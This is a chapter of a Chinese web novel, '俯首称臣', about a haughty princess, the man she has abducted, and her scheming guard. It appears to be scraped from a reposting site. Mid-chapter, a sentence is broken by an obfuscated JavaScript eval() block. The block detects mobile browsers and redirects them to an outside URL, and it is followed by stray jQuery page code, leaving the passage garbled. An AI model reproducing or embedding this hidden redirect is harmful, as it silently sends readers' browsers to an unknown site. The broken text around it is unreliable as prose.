9. 强取豪夺又怎样

作品:《俯首称臣

    气血上涌、火气更盛,卫云承闭嘴不说话了,左右说不过她。


    她们这里一而再再而三的动静,到底是吸引到了外头丫鬟小厮的注意......或者说从江月盈出现在这里起,她们就有意无意地往这里瞧。


    卫云承挺腰半起身整理衣衫之际,不期然捕捉到她们动作间悄悄的窥伺,动作一顿、狭长的眼睛危险地眯起。


    发现被他注意后,她们猛得清醒又快速低头,慌慌张张捏住手里的扫帚假意清扫离开。


    眉毛狠狠皱起,他看向对这些视线毫无所觉的江月盈。


    [她知道外面有人在看吗?丫鬟之间就怕嘴碎之人........]


    [不,她不是一个迟钝的人。她知道外面人的视线,她无所谓?]


    正主直直坐在他身上,狸猫一样的眼睛正警惕又不满地睨着他,好像是对他的分心颇有微词。


    这双眼睛,让他突然想起来他妈养的一只猫。明明那只猫高冷得不行,从不亲近如珠如宝对待它的卫女士不说,每次看着他妈的眼神.......和江月盈现在,简直可以说是一模一样。


    但是他妈就是对它稀罕得不行。从不允许他们用非褒义的词去说它,甚至摸它都要当着她的面去洗三遍手,才勉勉强强可以。


    经常,他也是觉得,卫女士就是养尊处优太久,闲出毛病了,所以上赶着热脸贴冷屁股,给别人当孙子。


    .........


    “扣、扣、扣——”


    魏志华上台阶之际飞速掠了一眼屋内。二人身形半掩盖在低矮的案桌之后,江月盈乖乖巧巧的一个小姑娘压着卫云承,姿态挑衅又乖张。


    黑衣之下的小臂,瞬间青筋暴起。他有一刹那,想一脚直接踹开眼前这扇半掩的门,把江月盈底下那个假清高的狐媚子给撕了。


    装的一副良家、不为□□的模样,倒不成想,都只是吸引江月盈的手段罢了。


    江月盈什么时候这么主动?向来是别人匍匐在她脚边,说净讨巧的话只为换她粲然一笑,他这不是耍手段是什么?!


    难道江月盈会劳累自己去推倒他吗!


    但是他不可以付出行动.......他只是一个主子身边的侍卫。他没有理由推开这扇门,甚至他真正的主子对这些情行喜闻乐见。


    他巴不得江月盈被养坏,她越学坏、名声越差,他心里越快活。


    他魏志华只是一个助长江月盈越来越纨绔的棋子而已。他的卑劣、他不足为外人道的小心思永远也无法宣之于口。


    “郡主,该用膳了。”停住的脚,像是永远也越不过的线,而他只能在这里阴暗窥伺、最多就是打断她们。


    魏志华低垂着眼目不斜视,站在门外出声提醒江月盈。


    掀起眼皮看了眼站在外头的人,卫云承眼神顿时变得意味深长。呵,来的怪及时的,是知道江月盈来这儿了,所以心急火燎但又无可奈何了吧。


    .........是好不容易有了由头,才前来打岔的吧。


    这一下他也不急了,异性之间坐一下、碰一下而已,他一个现代人又怎么会比他们更思想迂腐。


    “郡主,该用膳了。”单手撑着坐垫,一只手抬起撩撩江月盈衣袖上的绣花,卫云承看向她,眉眼微翘地重复。


    黛眉上扬,江月盈如何看不出他现在的做作和得意。眼珠滑至眼底睨着他的脸,她有些失神,事出反常必有妖,他突然的笑灿如花,为什么?


    毫不掩饰的转头看了一眼还坚持不懈站在外面等待回应的男人,江月盈眼神凉薄又一错不错地回到卫云承身上。


    后者已经敛起了笑意,也无动作就静静的等她的选择。


    江月盈:笑给魏志华看的?


    那还真是有意思。先前佩玉和青荷只当魏志华忠诚,现在被她提点过后是觉得他别有用心的亲近。


    倒是他,他是怎么看出魏志华的小心思的,难不成是魏志华在背地里警告他了、还是威胁他了不成?


    ........


    丢开手里的衣服,江月盈拍拍手站起来。骤然拔高的视线让她觉得舒心不少。难怪世人总想削尖了头向上爬,处于高位的感觉真是无与伦比的愉悦。


    原本魏志华以为江月盈是要留在云轩院用膳了。她只是随意扫了自己一眼,就把注意力重新注回卫云承身上......这难道不是无声的拒绝吗?


    当然,如果江月盈知道他心里这些恶心的自我感动和妥协,她只会更恶心。


    什么玩意儿,既要又要。


    一边和背后的主子一起用尽手段。让她成为扶不上墙烂泥,让她成为勋贵口中的笑料和谈资才好。一边又止于嘴的不想让她去接触那些不三不四的人,遵女德、懂礼数、讲孝义、从尊卑。


    可真敢想啊,也不知道江玉勤他许了什么东西给他,让他这么矛盾又拧巴。


    “郡主慢走,在下就不相送了。”卫云承端坐在案桌之后,目若秋水,仿佛一座漂亮的小玉观音,


    那眉目舒张的模样........可真是让人心生不快啊。


    “让人把《周礼》、《礼记》.....《女德》这些书整理整理,一并送到云轩院来,让卫公子好好研读一番。”


    脚下没停,江月盈跨步出门,只余婉转如莺的声音吐露着让人心滞的话飘在空气里。


    她没有刻意放低声音,一句话让身后两个人都蓦然变了脸色。


    魏志华抬眼看了一眼眼前轻旋身姿,裙摆也随之飞扬,连带着上方的刺花都似活过来了一样明媚的江月盈。


    一反几息前如溺水之人一样的无法呼吸,他的脑子里迅速活络起来。


    江月盈说的那几本书都是教人学规矩的,《女德》更是姑娘家家学的玩意,让卫云承去看这些,是对他的不知好歹恼羞了,特意羞辱他的吗?


    难怪走的毫不回头,刚才她推倒卫云承怕是气极了才出手。


    但是,这样可不行啊。他是第一个住进来的人,也是第一个让江月盈主动登门的人......让他心里危机更甚。


    思及至此,魏志华偏头冷眼去瞧屋里头的卫云承,不曾想他一直看着自己,甚至眼里带着明晃晃的好奇和狭促。


    瞳孔微微一缩,眼底有道寒光闪烁,眸色转厉,魏志华鼻尖吹出一口气,大跨步去追有些距离了的江月盈。


    小院因江月盈而热闹,现在人走了,莫名有些人走茶凉的冷清,连院子里清扫的丫鬟都因自己过于警觉的视线而仓皇逃走了。


    也不知她是去给主子通风报信了,还是找了个清净的地方去躲自己的不满。


    .........


    这个魏志华,从他和他一打照面就敌意很明显。为什么?不是说这个江月盈是个混不啬的纨绔吗,总不能他一个侍卫在她身边这么久了还没脱敏吧?


    那他没有得高血压还真是身体好,忍人。


    这个江月盈也很有问题,自己被她掳走也有三天了,细数自己除了得了身上一身伤,其实也没□□什么。每次她过来,都是在别人的注视下。


    悄无声息、但是由魏志华亲自带人过来的夜间抢人;到半夜命人送他去寝房,但是因自己‘不听话’怒抽鞭子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16227216|181726||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后,委委屈屈让他滚;到刚才她出入随意,发挥如常的亲昵和翻脸。


    .......


    她顽劣,超出社交的距离和不合乎于礼的行为让她坐实了嚣张跋扈的名声。但她确实没有和一般想象中的纨绔一样沉溺声色犬马,耽于男色。


    每每她过来,总有魏志华的身影。


    大胆些来想,要么江月盈是故意想让他看见的,要么是魏志华总在监视着她,所以老在关键时候出来打岔。


    ........或者,二者皆有。


    如果是那样,那可真有意思:身份尊贵但跋扈骄奢的郡主,和她看似忠诚实则侍二主的侍卫。面上和谐,实则互演。


    但是这些都与他无关。系统既然说了,不能把任务给江月盈去做,那她就和他毫无关系。


    沈家的案子,现在既要避开住在钦州的沈扶瑛姑母一家,思来想去,竟然只能从杀害女眷的流寇查起。


    流寇不为钱财,劫持的时机又那么恰巧。背后怕是有人指示。


    陈平说那一伙人本来都要被捉拿归案了,不想沈晋走私官盐的事情调走了大半官兵,让他们找准机会跑了。


    这一桩桩,一件件都是如此情理之外、意料之中。


    只是......他们在哪儿呢?


    ————


    “你们都下去吧,这里有我和佩玉伺候就好。”青荷远远瞧见廊间轻移莲步,缓缓走过来的人,侧头让布置菜肴的丫鬟都下去。


    “是。”整齐划一地福身,她们收起食盒在江月盈进来前退下。


    见着也快到自个儿的院子了,江月盈眼珠滑至眼角,余光去瞥身后的人。


    “魏志华,别忘了差人把我刚才说的几本书都送过去。”


    摇摇手里做工精致的团扇,江月盈想了想还是说道:“罢了罢了,送书他还不一定看。”


    “这样,你现在去找一个专门教人礼仪的嬷嬷.....唔,哪里的规矩都没有京城的规矩多。他既然这么不知好歹、恃宠而骄,就让他好好学学那些规矩,让他知道什么叫皇天贵胄。”


    美目狡黠地眯起,语气难掩愉悦和自傲。让人哪怕看不见她脸上是什么神情,也能自行在脑子里描绘出她此刻的模样。


    “记住哦,我可是要检查的,那些什么身份品级...见了什么身份要行什么礼,见到本郡主要说些什么....都要好好给我教他。”


    “没教好之前,我暂时不想见他。”刻意压低了声线,好似对卫云承积怨已久。江月盈说完这句话,就不再提及他。


    过犹不及,说多了倒是让人起疑。不如剩下的都交给他们自行想象。


    左右,


    这个魏志华定然不会想让她去见卫云承。只怕短期内会把所有的礼仪制度,通通翻出来让他学一遍,不把那些尊卑秩序刻入他的骨子里去,绝不会放过他。


    他会找来最严厉的嬷嬷,体罚或者警告逼迫,总归不会放水。


    ........


    卫云承啊,卫云承,你既然要考取功名,就不能像现在这样。你可知多少才子,折损于自己的孤高自高......


    你的眼里,对这些条条框框没有敬畏。但是这些张罗出来的规矩延续到现在,字字泣血。人命不过是上位者轻飘飘的一句话。


    不懂适时低头迎合、不明白尊卑秩序,你也不过是腐朽制度下的一摊血迹。


    我教你向上爬的礼仪,打断你现在的清高,给你揭示你”自身所在阶级的低微。


    就当,是强留你在这里的补偿。


    活着才什么都有。